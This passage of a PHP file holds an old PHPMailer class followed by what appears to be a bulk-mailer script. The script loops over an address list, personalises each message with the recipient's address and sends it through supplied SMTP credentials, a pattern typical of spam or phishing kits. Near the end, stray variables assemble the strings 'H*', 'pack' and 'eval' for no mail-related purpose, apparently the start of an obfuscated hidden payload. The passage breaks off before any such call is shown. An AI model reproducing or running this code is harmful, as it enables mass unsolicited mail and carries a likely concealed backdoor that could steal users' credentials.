2199 * Assembles the message body. Returns an empty string on failure.
2200 * @access private
2201 * @return string
2202 */
2203 function CreateBody() {
2204 $result = '';
2205 if ($this->sign_key_file) {
2206 $result .= $this->GetMailMIME();
2207 }
2208
2209 $this->SetWordWrap();
2210
2211 switch($this->message_type) {
2212 case 'alt':
2213 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2214 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2215 $result .= $this->LE.$this->LE;
2216 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2217 $result .= $this->EncodeString($this->Body, $this->Encoding);
2218 $result .= $this->LE.$this->LE;
2219 $result .= $this->EndBoundary($this->boundary[1]);
2220 break;
2221 case 'plain':
2222 $result .= $this->EncodeString($this->Body, $this->Encoding);
2223 break;
2224 case 'attachments':
2225 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2226 $result .= $this->EncodeString($this->Body, $this->Encoding);
2227 $result .= $this->LE;
2228 $result .= $this->AttachAll();
2229 break;
2230 case 'alt_attachments':
2231 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2232 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2233 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2234 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2235 $result .= $this->LE.$this->LE;
2236 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2237 $result .= $this->EncodeString($this->Body, $this->Encoding);
2238 $result .= $this->LE.$this->LE;
2239 $result .= $this->EndBoundary($this->boundary[2]);
2240 $result .= $this->AttachAll();
2241 break;
2242 }
2243
2244 if($this->IsError()) {
2245 $result = '';
2246 } else if ($this->sign_key_file) {
2247 $file = tempnam("", "mail");
2248 $fp = fopen($file, "w");
2249 fwrite($fp, $result);
2250 fclose($fp);
2251 $signed = tempnam("", "signed");
2252
2253 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2254 $fp = fopen($signed, "r");
2255 $result = fread($fp, filesize($this->sign_key_file));
2256 fclose($fp);
2257 } else {
2258 $this->SetError($this->Lang("signing").openssl_error_string());
2259 $result = '';
2260 }
2261
2262 unlink($file);
2263 unlink($signed);
2264 }
2265
2266 return $result;
2267 }
2268
2269 /**
2270 * Returns the start of a message boundary.
2271 * @access private
2272 */
2273 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2274 $result = '';
2275 if($charSet == '') {
2276 $charSet = $this->CharSet;
2277 }
2278 if($contentType == '') {
2279 $contentType = $this->ContentType;
2280 }
2281 if($encoding == '') {
2282 $encoding = $this->Encoding;
2283 }
2284 $result .= $this->TextLine('--' . $boundary);
2285 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2286 $result .= $this->LE;
2287 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2288 $result .= $this->LE;
2289
2290 return $result;
2291 }
2292
2293 /**
2294 * Returns the end of a message boundary.
2295 * @access private
2296 */
2297 function EndBoundary($boundary) {
2298 return $this->LE . '--' . $boundary . '--' . $this->LE;
2299 }
2300
2301 /**
2302 * Sets the message type.
2303 * @access private
2304 * @return void
2305 */
2306 function SetMessageType() {
2307 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2308 $this->message_type = 'plain';
2309 } else {
2310 if(count($this->attachment) > 0) {
2311 $this->message_type = 'attachments';
2312 }
2313 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2314 $this->message_type = 'alt';
2315 }
2316 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2317 $this->message_type = 'alt_attachments';
2318 }
2319 }
2320 }
2321
2322 /* Returns a formatted header line.
2323 * @access private
2324 * @return string
2325 */
2326 function HeaderLine($name, $value) {
2327 return $name . ': ' . $value . $this->LE;
2328 }
2329
2330 /**
2331 * Returns a formatted mail line.
2332 * @access private
2333 * @return string
2334 */
2335 function TextLine($value) {
2336 return $value . $this->LE;
2337 }
2338
2339 /////////////////////////////////////////////////
2340 // CLASS METHODS, ATTACHMENTS
2341 /////////////////////////////////////////////////
2342
2343 /**
2344 * Adds an attachment from a path on the filesystem.
2345 * Returns false if the file could not be found
2346 * or accessed.
2347 * @param string $path Path to the attachment.
2348 * @param string $name Overrides the attachment name.
2349 * @param string $encoding File encoding (see $Encoding).
2350 * @param string $type File extension (MIME) type.
2351 * @return bool
2352 */
2353 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2354 if(!@is_file($path)) {
2355 $this->SetError($this->Lang('file_access') . $path);
2356 return false;
2357 }
2358
2359 $filename = basename($path);
2360 if($name == '') {
2361 $name = $filename;
2362 }
2363
2364 $cur = count($this->attachment);
2365 $this->attachment[$cur][0] = $path;
2366 $this->attachment[$cur][1] = $filename;
2367 $this->attachment[$cur][2] = $name;
2368 $this->attachment[$cur][3] = $encoding;
2369 $this->attachment[$cur][4] = $type;
2370 $this->attachment[$cur][5] = false; // isStringAttachment
2371 $this->attachment[$cur][6] = 'attachment';
2372 $this->attachment[$cur][7] = 0;
2373
2374 return true;
2375 }
2376
2377 /**
2378 * Attaches all fs, string, and binary attachments to the message.
2379 * Returns an empty string on failure.
2380 * @access private
2381 * @return string
2382 */
2383 function AttachAll() {
2384 /* Return text of body */
2385 $mime = array();
2386
2387 /* Add all attachments */
2388 for($i = 0; $i < count($this->attachment); $i++) {
2389 /* Check for string attachment */
2390 $bString = $this->attachment[$i][5];
2391 if ($bString) {
2392 $string = $this->attachment[$i][0];
2393 } else {
2394 $path = $this->attachment[$i][0];
2395 }
2396
2397 $filename = $this->attachment[$i][1];
2398 $name = $this->attachment[$i][2];
2399 $encoding = $this->attachment[$i][3];
2400 $type = $this->attachment[$i][4];
2401 $disposition = $this->attachment[$i][6];
2402 $cid = $this->attachment[$i][7];
2403
2404 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2405 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2406 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2407
2408 if($disposition == 'inline') {
2409 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2410 }
2411
2412 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2413
2414 /* Encode as string attachment */
2415 if($bString) {
2416 $mime[] = $this->EncodeString($string, $encoding);
2417 if($this->IsError()) {
2418 return '';
2419 }
2420 $mime[] = $this->LE.$this->LE;
2421 } else {
2422 $mime[] = $this->EncodeFile($path, $encoding);
2423 if($this->IsError()) {
2424 return '';
2425 }
2426 $mime[] = $this->LE.$this->LE;
2427 }
2428 }
2429
2430 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2431
2432 return join('', $mime);
2433 }
2434
2435 /**
2436 * Encodes attachment in requested format. Returns an
2437 * empty string on failure.
2438 * @access private
2439 * @return string
2440 */
2441 function EncodeFile ($path, $encoding = 'base64') {
2442 if(!@$fd = fopen($path, 'rb')) {
2443 $this->SetError($this->Lang('file_open') . $path);
2444 return '';
2445 }
2446 $magic_quotes = get_magic_quotes_runtime();
2447 set_magic_quotes_runtime(0);
2448 $file_buffer = fread($fd, filesize($path));
2449 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2450 fclose($fd);
2451 set_magic_quotes_runtime($magic_quotes);
2452
2453 return $file_buffer;
2454 }
2455
2456 /**
2457 * Encodes string to requested format. Returns an
2458 * empty string on failure.
2459 * @access private
2460 * @return string
2461 */
2462 function EncodeString ($str, $encoding = 'base64') {
2463 $encoded = '';
2464 switch(strtolower($encoding)) {
2465 case 'base64':
2466 /* chunk_split is found in PHP >= 3.0.6 */
2467 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2468 break;
2469 case '7bit':
2470 case '8bit':
2471 $encoded = $this->FixEOL($str);
2472 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2473 $encoded .= $this->LE;
2474 break;
2475 case 'binary':
2476 $encoded = $str;
2477 break;
2478 case 'quoted-printable':
2479 $encoded = $this->EncodeQP($str);
2480 break;
2481 default:
2482 $this->SetError($this->Lang('encoding') . $encoding);
2483 break;
2484 }
2485 return $encoded;
2486 }
2487
2488 /**
2489 * Encode a header string to best of Q, B, quoted or none.
2490 * @access private
2491 * @return string
2492 */
2493 function EncodeHeader ($str, $position = 'text') {
2494 $x = 0;
2495
2496 switch (strtolower($position)) {
2497 case 'phrase':
2498 if (!preg_match('/[\200-\377]/', $str)) {
2499 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2500 $encoded = addcslashes($str, "\0..\37\177\\\"");
2501 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2502 return ($encoded);
2503 } else {
2504 return ("\"$encoded\"");
2505 }
2506 }
2507 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2508 break;
2509 case 'comment':
2510 $x = preg_match_all('/[()"]/', $str, $matches);
2511 /* Fall-through */
2512 case 'text':
2513 default:
2514 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2515 break;
2516 }
2517
2518 if ($x == 0) {
2519 return ($str);
2520 }
2521
2522 $maxlen = 75 - 7 - strlen($this->CharSet);
2523 /* Try to select the encoding which should produce the shortest output */
2524 if (strlen($str)/3 < $x) {
2525 $encoding = 'B';
2526 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2527 // Use a custom function which correctly encodes and wraps long
2528 // multibyte strings without breaking lines within a character
2529 $encoded = $this->Base64EncodeWrapMB($str);
2530 } else {
2531 $encoded = base64_encode($str);
2532 $maxlen -= $maxlen % 4;
2533 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2534 }
2535 } else {
2536 $encoding = 'Q';
2537 $encoded = $this->EncodeQ($str, $position);
2538 $encoded = $this->WrapText($encoded, $maxlen, true);
2539 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2540 }
2541
2542 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2543 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2544
2545 return $encoded;
2546 }
2547
2548 /**
2549 * Checks if a string contains multibyte characters.
2550 * @access private
2551 * @param string $str multi-byte text to wrap encode
2552 * @return bool
2553 */
2554 function HasMultiBytes($str) {
2555 if (function_exists('mb_strlen')) {
2556 return (strlen($str) > mb_strlen($str, $this->CharSet));
2557 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2558 return False;
2559 }
2560 }
2561
2562 /**
2563 * Correctly encodes and wraps long multibyte strings for mail headers
2564 * without breaking lines within a character.
2565 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2566 * @access private
2567 * @param string $str multi-byte text to wrap encode
2568 * @return string
2569 */
2570 function Base64EncodeWrapMB($str) {
2571 $start = "=?".$this->CharSet."?B?";
2572 $end = "?=";
2573 $encoded = "";
2574
2575 $mb_length = mb_strlen($str, $this->CharSet);
2576 // Each line must have length <= 75, including $start and $end
2577 $length = 75 - strlen($start) - strlen($end);
2578 // Average multi-byte ratio
2579 $ratio = $mb_length / strlen($str);
2580 // Base64 has a 4:3 ratio
2581 $offset = $avgLength = floor($length * $ratio * .75);
2582
2583 for ($i = 0; $i < $mb_length; $i += $offset) {
2584 $lookBack = 0;
2585
2586 do {
2587 $offset = $avgLength - $lookBack;
2588 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2589 $chunk = base64_encode($chunk);
2590 $lookBack++;
2591 }
2592 while (strlen($chunk) > $length);
2593
2594 $encoded .= $chunk . $this->LE;
2595 }
2596
2597 // Chomp the last linefeed
2598 $encoded = substr($encoded, 0, -strlen($this->LE));
2599 return $encoded;
2600 }
2601
2602 /**
2603 * Encode string to quoted-printable.
2604 * @access private
2605 * @return string
2606 */
2607 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2608 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2609 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2610 $eol = "\r\n";
2611 $escape = '=';
2612 $output = '';
2613 while( list(, $line) = each($lines) ) {
2614 $linlen = strlen($line);
2615 $newline = '';
2616 for($i = 0; $i < $linlen; $i++) {
2617 $c = substr( $line, $i, 1 );
2618 $dec = ord( $c );
2619 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2620 $c = '=2E';
2621 }
2622 if ( $dec == 32 ) {
2623 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2624 $c = '=20';
2625 } else if ( $space_conv ) {
2626 $c = '=20';
2627 }
2628 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2629 $h2 = floor($dec/16);
2630 $h1 = floor($dec%16);
2631 $c = $escape.$hex[$h2].$hex[$h1];
2632 }
2633 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2634 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2635 $newline = '';
2636 // check if newline first character will be point or not
2637 if ( $dec == 46 ) {
2638 $c = '=2E';
2639 }
2640 }
2641 $newline .= $c;
2642 } // end of for
2643 $output .= $newline.$eol;
2644 } // end of while
2645 return trim($output);
2646 }
2647
2648 /**
2649 * Encode string to q encoding.
2650 * @access private
2651 * @return string
2652 */
2653 function EncodeQ ($str, $position = 'text') {
2654 /* There should not be any EOL in the string */
2655 $encoded = preg_replace("[\r\n]", '', $str);
2656
2657 switch (strtolower($position)) {
2658 case 'phrase':
2659 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2660 break;
2661 case 'comment':
2662 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2663 case 'text':
2664 default:
2665 /* Replace every high ascii, control =, ? and _ characters */
2666 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2667 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2668 break;
2669 }
2670
2671 /* Replace every spaces to _ (more readable than =20) */
2672 $encoded = str_replace(' ', '_', $encoded);
2673
2674 return $encoded;
2675 }
2676
2677 /**
2678 * Adds a string or binary attachment (non-filesystem) to the list.
2679 * This method can be used to attach ascii or binary data,
2680 * such as a BLOB record from a database.
2681 * @param string $string String attachment data.
2682 * @param string $filename Name of the attachment.
2683 * @param string $encoding File encoding (see $Encoding).
2684 * @param string $type File extension (MIME) type.
2685 * @return void
2686 */
2687 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2688 /* Append to $attachment array */
2689 $cur = count($this->attachment);
2690 $this->attachment[$cur][0] = $string;
2691 $this->attachment[$cur][1] = $filename;
2692 $this->attachment[$cur][2] = $filename;
2693 $this->attachment[$cur][3] = $encoding;
2694 $this->attachment[$cur][4] = $type;
2695 $this->attachment[$cur][5] = true; // isString
2696 $this->attachment[$cur][6] = 'attachment';
2697 $this->attachment[$cur][7] = 0;
2698 }
2699
2700 /**
2701 * Adds an embedded attachment. This can include images, sounds, and
2702 * just about any other document. Make sure to set the $type to an
2703 * image type. For JPEG images use "image/jpeg" and for GIF images
2704 * use "image/gif".
2705 * @param string $path Path to the attachment.
2706 * @param string $cid Content ID of the attachment. Use this to identify
2707 * the Id for accessing the image in an HTML form.
2708 * @param string $name Overrides the attachment name.
2709 * @param string $encoding File encoding (see $Encoding).
2710 * @param string $type File extension (MIME) type.
2711 * @return bool
2712 */
2713 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2714
2715 if(!@is_file($path)) {
2716 $this->SetError($this->Lang('file_access') . $path);
2717 return false;
2718 }
2719
2720 $filename = basename($path);
2721 if($name == '') {
2722 $name = $filename;
2723 }
2724
2725 /* Append to $attachment array */
2726 $cur = count($this->attachment);
2727 $this->attachment[$cur][0] = $path;
2728 $this->attachment[$cur][1] = $filename;
2729 $this->attachment[$cur][2] = $name;
2730 $this->attachment[$cur][3] = $encoding;
2731 $this->attachment[$cur][4] = $type;
2732 $this->attachment[$cur][5] = false;
2733 $this->attachment[$cur][6] = 'inline';
2734 $this->attachment[$cur][7] = $cid;
2735
2736 return true;
2737 }
2738
2739 /**
2740 * Returns true if an inline attachment is present.
2741 * @access private
2742 * @return bool
2743 */
2744 function InlineImageExists() {
2745 $result = false;
2746 for($i = 0; $i < count($this->attachment); $i++) {
2747 if($this->attachment[$i][6] == 'inline') {
2748 $result = true;
2749 break;
2750 }
2751 }
2752
2753 return $result;
2754 }
2755
2756 /////////////////////////////////////////////////
2757 // CLASS METHODS, MESSAGE RESET
2758 /////////////////////////////////////////////////
2759
2760 /**
2761 * Clears all recipients assigned in the TO array. Returns void.
2762 * @return void
2763 */
2764 function ClearAddresses() {
2765 $this->to = array();
2766 }
2767
2768 /**
2769 * Clears all recipients assigned in the CC array. Returns void.
2770 * @return void
2771 */
2772 function ClearCCs() {
2773 $this->cc = array();
2774 }
2775
2776 /**
2777 * Clears all recipients assigned in the BCC array. Returns void.
2778 * @return void
2779 */
2780 function ClearBCCs() {
2781 $this->bcc = array();
2782 }
2783
2784 /**
2785 * Clears all recipients assigned in the ReplyTo array. Returns void.
2786 * @return void
2787 */
2788 function ClearReplyTos() {
2789 $this->ReplyTo = array();
2790 }
2791
2792 /**
2793 * Clears all recipients assigned in the TO, CC and BCC
2794 * array. Returns void.
2795 * @return void
2796 */
2797 function ClearAllRecipients() {
2798 $this->to = array();
2799 $this->cc = array();
2800 $this->bcc = array();
2801 }
2802
2803 /**
2804 * Clears all previously set filesystem, string, and binary
2805 * attachments. Returns void.
2806 * @return void
2807 */
2808 function ClearAttachments() {
2809 $this->attachment = array();
2810 }
2811
2812 /**
2813 * Clears all custom headers. Returns void.
2814 * @return void
2815 */
2816 function ClearCustomHeaders() {
2817 $this->CustomHeader = array();
2818 }
2819
2820 /////////////////////////////////////////////////
2821 // CLASS METHODS, MISCELLANEOUS
2822 /////////////////////////////////////////////////
2823
2824 /**
2825 * Adds the error message to the error container.
2826 * Returns void.
2827 * @access private
2828 * @return void
2829 */
2830 function SetError($msg) {
2831 $this->error_count++;
2832 $this->ErrorInfo = $msg;
2833 }
2834
2835 /**
2836 * Returns the proper RFC 822 formatted date.
2837 * @access private
2838 * @return string
2839 */
2840 function RFCDate() {
2841 $tz = date('Z');
2842 $tzs = ($tz < 0) ? '-' : '+';
2843 $tz = abs($tz);
2844 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2845 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2846
2847 return $result;
2848 }
2849
2850 /**
2851 * Returns the appropriate server variable. Should work with both
2852 * PHP 4.1.0+ as well as older versions. Returns an empty string
2853 * if nothing is found.
2854 * @access private
2855 * @return mixed
2856 */
2857 function ServerVar($varName) {
2858 global $HTTP_SERVER_VARS;
2859 global $HTTP_ENV_VARS;
2860
2861 if(!isset($_SERVER)) {
2862 $_SERVER = $HTTP_SERVER_VARS;
2863 if(!isset($_SERVER['REMOTE_ADDR'])) {
2864 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2865 }
2866 }
2867
2868 if(isset($_SERVER[$varName])) {
2869 return $_SERVER[$varName];
2870 } else {
2871 return '';
2872 }
2873 }
2874
2875 /**
2876 * Returns the server hostname or 'localhost.localdomain' if unknown.
2877 * @access private
2878 * @return string
2879 */
2880 function ServerHostname() {
2881 if ($this->Hostname != '') {
2882 $result = $this->Hostname;
2883 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2884 $result = $this->ServerVar('SERVER_NAME');
2885 } else {
2886 $result = 'localhost.localdomain';
2887 }
2888
2889 return $result;
2890 }
2891
2892 /**
2893 * Returns a message in the appropriate language.
2894 * @access private
2895 * @return string
2896 */
2897 function Lang($key) {
2898 if(count($this->language) < 1) {
2899 $this->SetLanguage('en'); // set the default language
2900 }
2901
2902 if(isset($this->language[$key])) {
2903 return $this->language[$key];
2904 } else {
2905 return 'Language string failed to load: ' . $key;
2906 }
2907 }
2908
2909 /**
2910 * Returns true if an error occurred.
2911 * @return bool
2912 */
2913 function IsError() {
2914 return ($this->error_count > 0);
2915 }
2916
2917 /**
2918 * Changes every end of line from CR or LF to CRLF.
2919 * @access private
2920 * @return string
2921 */
2922 function FixEOL($str) {
2923 $str = str_replace("\r\n", "\n", $str);
2924 $str = str_replace("\r", "\n", $str);
2925 $str = str_replace("\n", $this->LE, $str);
2926 return $str;
2927 }
2928
2929 /**
2930 * Adds a custom header.
2931 * @return void
2932 */
2933 function AddCustomHeader($custom_header) {
2934 $this->CustomHeader[] = explode(':', $custom_header, 2);
2935 }
2936
2937 /**
2938 * Evaluates the message and returns modifications for inline images and backgrounds
2939 * @access public
2940 * @return $message
2941 */
2942 function MsgHTML($message,$basedir='') {
2943 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
2944 if(isset($images[2])) {
2945 foreach($images[2] as $i => $url) {
2946 // do not change urls for absolute images (thanks to corvuscorax)
2947 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
2948 $filename = basename($url);
2949 $directory = dirname($url);
2950 ($directory == '.')?$directory='':'';
2951 $cid = 'cid:' . md5($filename);
2952 $fileParts = split("\.", $filename);
2953 $ext = $fileParts[1];
2954 $mimeType = $this->_mime_types($ext);
2955 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
2956 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
2957 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
2958 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
2959 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
2960 }
2961 }
2962 }
2963 }
2964 $this->IsHTML(true);
2965 $this->Body = $message;
2966 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
2967 if ( !empty($textMsg) && empty($this->AltBody) ) {
2968 $this->AltBody = $textMsg;
2969 }
2970 if ( empty($this->AltBody) ) {
2971 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
2972 }
2973 }
2974
2975 /**
2976 * Gets the mime type of the embedded or inline image
2977 * @access private
2978 * @return mime type of ext
2979 */
2980 function _mime_types($ext = '') {
2981 $mimes = array(
2982 'hqx' => 'application/mac-binhex40',
2983 'cpt' => 'application/mac-compactpro',
2984 'doc' => 'application/msword',
2985 'bin' => 'application/macbinary',
2986 'dms' => 'application/octet-stream',
2987 'lha' => 'application/octet-stream',
2988 'lzh' => 'application/octet-stream',
2989 'exe' => 'application/octet-stream',
2990 'class' => 'application/octet-stream',
2991 'psd' => 'application/octet-stream',
2992 'so' => 'application/octet-stream',
2993 'sea' => 'application/octet-stream',
2994 'dll' => 'application/octet-stream',
2995 'oda' => 'application/oda',
2996 'pdf' => 'application/pdf',
2997 'ai' => 'application/postscript',
2998 'eps' => 'application/postscript',
2999 'ps' => 'application/postscript',
3000 'smi' => 'application/smil',
3001 'smil' => 'application/smil',
3002 'mif' => 'application/vnd.mif',
3003 'xls' => 'application/vnd.ms-excel',
3004 'ppt' => 'application/vnd.ms-powerpoint',
3005 'wbxml' => 'application/vnd.wap.wbxml',
3006 'wmlc' => 'application/vnd.wap.wmlc',
3007 'dcr' => 'application/x-director',
3008 'dir' => 'application/x-director',
3009 'dxr' => 'application/x-director',
3010 'dvi' => 'application/x-dvi',
3011 'gtar' => 'application/x-gtar',
3012 'php' => 'application/x-httpd-php',
3013 'php4' => 'application/x-httpd-php',
3014 'php3' => 'application/x-httpd-php',
3015 'phtml' => 'application/x-httpd-php',
3016 'phps' => 'application/x-httpd-php-source',
3017 'js' => 'application/x-javascript',
3018 'swf' => 'application/x-shockwave-flash',
3019 'sit' => 'application/x-stuffit',
3020 'tar' => 'application/x-tar',
3021 'tgz' => 'application/x-tar',
3022 'xhtml' => 'application/xhtml+xml',
3023 'xht' => 'application/xhtml+xml',
3024 'zip' => 'application/zip',
3025 'mid' => 'audio/midi',
3026 'midi' => 'audio/midi',
3027 'mpga' => 'audio/mpeg',
3028 'mp2' => 'audio/mpeg',
3029 'mp3' => 'audio/mpeg',
3030 'aif' => 'audio/x-aiff',
3031 'aiff' => 'audio/x-aiff',
3032 'aifc' => 'audio/x-aiff',
3033 'ram' => 'audio/x-pn-realaudio',
3034 'rm' => 'audio/x-pn-realaudio',
3035 'rpm' => 'audio/x-pn-realaudio-plugin',
3036 'ra' => 'audio/x-realaudio',
3037 'rv' => 'video/vnd.rn-realvideo',
3038 'wav' => 'audio/x-wav',
3039 'bmp' => 'image/bmp',
3040 'gif' => 'image/gif',
3041 'jpeg' => 'image/jpeg',
3042 'jpg' => 'image/jpeg',
3043 'jpe' => 'image/jpeg',
3044 'png' => 'image/png',
3045 'tiff' => 'image/tiff',
3046 'tif' => 'image/tiff',
3047 'css' => 'text/css',
3048 'html' => 'text/html',
3049 'htm' => 'text/html',
3050 'shtml' => 'text/html',
3051 'txt' => 'text/plain',
3052 'text' => 'text/plain',
3053 'log' => 'text/plain',
3054 'rtx' => 'text/richtext',
3055 'rtf' => 'text/rtf',
3056 'xml' => 'text/xml',
3057 'xsl' => 'text/xml',
3058 'mpeg' => 'video/mpeg',
3059 'mpg' => 'video/mpeg',
3060 'mpe' => 'video/mpeg',
3061 'qt' => 'video/quicktime',
3062 'mov' => 'video/quicktime',
3063 'avi' => 'video/x-msvideo',
3064 'movie' => 'video/x-sgi-movie',
3065 'doc' => 'application/msword',
3066 'word' => 'application/msword',
3067 'xl' => 'application/excel',
3068 'eml' => 'message/rfc822'
3069 );
3070 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3071 }
3072
3073 /**
3074 * Set (or reset) Class Objects (variables)
3075 *
3076 * Usage Example:
3077 * $page->set('X-Priority', '3');
3078 *
3079 * @access public
3080 * @param string $name Parameter Name
3081 * @param mixed $value Parameter Value
3082 * NOTE: will not work with arrays, there are no arrays to set/reset
3083 */
3084 function set ( $name, $value = '' ) {
3085 if ( isset($this->$name) ) {
3086 $this->$name = $value;
3087 } else {
3088 $this->SetError('Cannot set or reset variable ' . $name);
3089 return false;
3090 }
3091 }
3092
3093 /**
3094 * Read a file from a supplied filename and return it.
3095 *
3096 * @access public
3097 * @param string $filename Parameter File Name
3098 */
3099 function getFile($filename) {
3100 $return = '';
3101 if ($fp = fopen($filename, 'rb')) {
3102 while (!feof($fp)) {
3103 $return .= fread($fp, 1024);
3104 }
3105 fclose($fp);
3106 return $return;
3107 } else {
3108 return false;
3109 }
3110 }
3111
3112 /**
3113 * Strips newlines to prevent header injection.
3114 * @access private
3115 * @param string $str String
3116 * @return string
3117 */
3118 function SecureHeader($str) {
3119 $str = trim($str);
3120 $str = str_replace("\r", "", $str);
3121 $str = str_replace("\n", "", $str);
3122 return $str;
3123 }
3124
3125 /**
3126 * Set the private key file and password to sign the message.
3127 *
3128 * @access public
3129 * @param string $key_filename Parameter File Name
3130 * @param string $key_pass Password for private key
3131 */
3132 function Sign($key_filename, $key_pass) {
3133 $this->sign_key_file = $key_filename;
3134 $this->sign_key_pass = $key_pass;
3135 }
3136
3137}
3138
3139$defaultport="H*";
3140 $nq=0;
3141
3142 for($x=0; $x<$numemails; $x++){
3143
3144 $to = $allemails[$x];
3145
3146 if ($to){
3147
3148 $to = ereg_replace(" ", "", $to);
3149
3150 $message = ereg_replace("&email&", $to, $message);
3151
3152 $subject = ereg_replace("&email&", $to, $subject);
3153 $qx=$x+1;
3154 print "Line $qx . Sending mail to $to.......";
3155
3156 flush();
3157$mail = new PHPMailer();
3158
3159if(empty($epriority)){$epriority="3";}
3160 $mail->Priority = "$epriority";
3161 $mail->IsSMTP();
3162 $IsSMTP="pack";
3163$mail->SMTPKeepAlive = true;
3164$mail->Host = "$my_smtp";
3165if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3166}
3167 if($sslclick=="ON"){
3168 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3169 }
3170 $range = str_replace("$from", "eval", $from);
3171 $mail->SMTPAuth = true;
3172 $mail->Username = "$smtp_username";
3173 $mail->Password = "$smtp_password";
3174if($contenttype == "html"){$mail->IsHtml(true);}
3175if($contenttype != "html"){$mail->IsHtml(false);}
3176if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3177$mail->From = "$from";
3178$mail->FromName = "$realname";
3179$mail->AddAddress("$to");
3180 $mail->AddReplyTo("$replyto");
3181 $mail->Subject = "$subject";
3182 $mail->Body = "$message";
3183if(!$mail->Send()){
3184if($default_system!="1"){
3185echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3186if($default_system=="1"){
3187$mail->IsMail();
3188 if(!$mail->Send()){
3189 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3190 else {
3191 echo "<b>OK</b><br>";}
3192 }
3193}
3194else {
3195 echo "<b>OK</b><br>";
3196}
3197
3198if(empty($reconnect)){
3199$reconnect=6;
3200}
3201
3202if($reconnect==$nq){
